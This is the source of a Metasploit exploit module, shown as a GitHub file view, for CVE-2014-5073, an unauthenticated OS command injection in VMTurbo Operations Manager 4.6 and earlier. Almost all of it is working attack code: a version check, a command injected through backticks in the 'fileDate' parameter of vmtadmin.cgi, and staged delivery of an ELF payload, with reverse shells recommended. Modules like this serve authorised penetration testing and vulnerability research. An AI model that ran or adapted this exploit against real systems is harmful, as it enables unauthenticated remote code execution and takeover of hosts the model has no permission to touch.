/
vmturbo_vmtadmin_exec_noauth.rb
152 lines (133 loc) · 4.31 KB
/
vmturbo_vmtadmin_exec_noauth.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution',
'Description' => %q{
VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
OS Command injection in the web interface. Use reverse payloads for the most
reliable results. Since it is a blind OS command injection vulnerability,
there is no output for the executed command when using the cmd generic payload.
Port binding payloads are disregarded due to the restrictive firewall settings.
This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and
4.6.
},
'Author' =>
[
# Secunia Research - Discovery and Metasploit module
'Emilio Pinna <emilio.pinn[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-5073'],
['OSVDB', '109572'],
['URL', 'http://secunia.com/secunia_research/2014-8/']
],
'DisclosureDate' => 'Jun 25 2014',
'Privileged' => false,
'Platform' => %w{ linux unix },
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-bind'
}
},
'Targets' =>
[
[ 'Unix CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'VMTurbo Operations Manager',
{
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/vmtadmin.cgi",
'vars_get' => {
"callType" => "ACTION",
"actionType" => "VERSIONS"
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("#{peer} - Failed to connect to the web server")
return Exploit::CheckCode::Unknown
end
if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/
version = $2
build = $1
vprint_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected")
else
vprint_status("#{peer} - Unexpected vmtadmin.cgi response")
return Exploit::CheckCode::Unknown
end
if version and version <= '4.6' and build < '28657'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => '/cgi-bin/vmtadmin.cgi',
'method' => 'GET',
'vars_get' => {
"callType" => "DOWN",
"actionType" => "CFGBACKUP",
"fileDate" => "\"`#{cmd}`\""
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("#{peer} - Failed to connect to the web server")
return nil
end
vprint_status("Sent command #{cmd}")
end
#
# generate_payload_exe doesn't respect module's platform unless it's Windows, or the user
# manually sets one. This method is a temp work-around.
#
def check_generate_payload_exe
if generate_payload_exe.nil?
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.")
end
end
def exploit
# Handle single command shot
if target.name =~ /CMD/
cmd = payload.encoded
res = execute_command(cmd, {})
unless res
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
end
print_status("#{peer} - Blind Exploitation - unknown exploitation state")
return
end
check_generate_payload_exe
# Handle payload upload using CmdStager mixin
execute_cmdstager({:flavor => :printf})
end
end